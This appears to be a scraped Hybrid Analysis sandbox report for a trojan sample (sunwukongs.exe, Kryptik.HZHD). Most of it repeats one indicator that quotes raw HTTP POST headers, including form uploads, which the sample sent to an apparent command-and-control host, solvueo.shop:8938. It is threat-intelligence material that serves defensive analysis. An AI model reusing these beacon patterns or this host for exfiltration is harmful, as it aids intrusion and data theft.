24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 3a:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4a4,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Kryptik.HZHD trojan Sample cd8ec81fd606… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample cd8ec81fd606…. Malware family: Kryptik.HZHD trojan. Threat score 100/100. 3/28 AV engines flagged this file. 6 malicious and 10 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/cd8ec81fd606ec247099b58e845bb5547ee05a46fd46e732b06397587917e842","keywords":["Malicious","Kryptik.HZHD trojan","malware analysis","sandbox report","threat intelligence","cd8ec81fd606ec247099b58e845bb5547ee05a46fd46e732b06397587917e842"],"about":{"@type":"SoftwareApplication","name":"sunwukongs.exe","applicationCategory":["peexe","64bits","executable"],"identifier":"cd8ec81fd606ec247099b58e845bb5547ee05a46fd46e732b06397587917e842","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Kryptik.HZHD trojan","antivirusDetections":{"malicious":3,"total":28},"behavioralIndicators":{"malicious":6,"suspicious":10},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T82db,Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 47Host: solvueo.shop:8938" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 47Host: solvueo.shop:8938" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 47Host: solvueo.shop:8938" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 47Host: solvueo.shop:8938" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 47Host: solvueo.shop:8938" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 47Host: solvueo.shop:8938" Contains base64 string in header "shop" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 47Host: solvueo.shop:8938" Contains base64 string in header "8938" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 47Host: solvueo.shop:8938" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: solvueo.shop:8938" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: solvueo.shop:8938" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: solvueo.shop:8938" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: solvueo.shop:8938" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: solvueo.shop:8938" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: solvueo.shop:8938" Contains base64 string in header "shop" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: solvueo.shop:8938" Contains base64 string in header "8938" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: solvueo.shop:8938" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: solvueo.shop:8938" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: solvueo.shop:8938" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: solvueo.shop:8938" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: solvueo.shop:8938" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: solvueo.shop:8938" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: solvueo.shop:8938" Contains base64 string in header "shop" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: solvueo.shop:8938" Contains base64 string in header "8938" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: solvueo.shop:8938" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=FwL49kH8BuBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 892Host: solvueo.shop:8938" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=FwL49kH8BuBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 892Host: solvueo.shop:8938" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=FwL49kH8BuBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 892Host: solvueo.shop:8938" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=FwL49kH8BuBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 892Host: solvueo.shop:8938" Contains base64 string in header "data" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=FwL49kH8BuBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 892Host: solvueo.shop:8938" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=FwL49kH8BuBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 892Host: solvueo.shop:8938" Contains base64 string in header "shop" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=FwL49kH8BuBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 892Host: solvueo.shop:8938" Contains base64 string in header "8938" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=FwL49kH8BuBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 892Host: solvueo.shop:8938" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: solvueo.shop:8938" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: solvueo.shop:8938" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: solvueo.shop:8938" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: solvueo.shop:8938" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: solvueo.shop:8938" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: solvueo.shop:8938" Contains base64 string in header "shop" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: solvueo.shop:8938" Contains base64 string in header "8938" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: solvueo.shop:8938" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: solvueo.shop:8938" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: solvueo.shop:8938" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: solvueo.shop:8938" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: solvueo.shop:8938" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: solvueo.shop:8938" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: solvueo.shop:8938" Contains base64 string in header "shop" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: solvueo.shop:8938" Contains base64 string in header "8938" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: solvueo.shop:8938" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: solvueo.shop:8938" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: solvueo.shop:8938" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: solvueo.shop:8938" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: solvueo.shop:8938" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: solvueo.shop:8938" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: solvueo.shop:8938" Contains base64 string in header "shop" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: solvueo.shop:8938" Contains base64 string in header "8938" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: solvueo.shop:8938" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: solvueo.shop:8938" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: solvueo.shop:8938" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: solvueo.shop:8938" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: solvueo.shop:8938" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: solvueo.shop:8938" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: solvueo.shop:8938" Contains base64 string in header "shop" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: solvueo.shop:8938" Contains base64 string in header "8938" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: solvueo.shop:8938" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 85Host: solvueo.shop:8938" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 85Host: solvueo.shop:8938" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 85Host: solvueo.shop:8938" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 85Host: solvueo.shop:8938" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 85Host: solvueo.shop:8938" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 85Host: solvueo.shop:8938" Contains base64 string in header "shop" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 85Host: solvueo.shop:8938" Contains base64 string in header "8938" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 85Host: solvueo.shop:8938" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=BLscV6suw003TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1123Host: solvueo.shop:8938" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=BLscV6suw003TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1123Host: solvueo.shop:8938" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=BLscV6suw003TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1123Host: solvueo.shop:8938" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=BLscV6suw003TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1123Host: solvueo.shop:8938" Contains base64 string in header "data" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=BLscV6suw003TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1123Host: solvueo.shop:8938" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=BLscV6suw003TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1123Host: 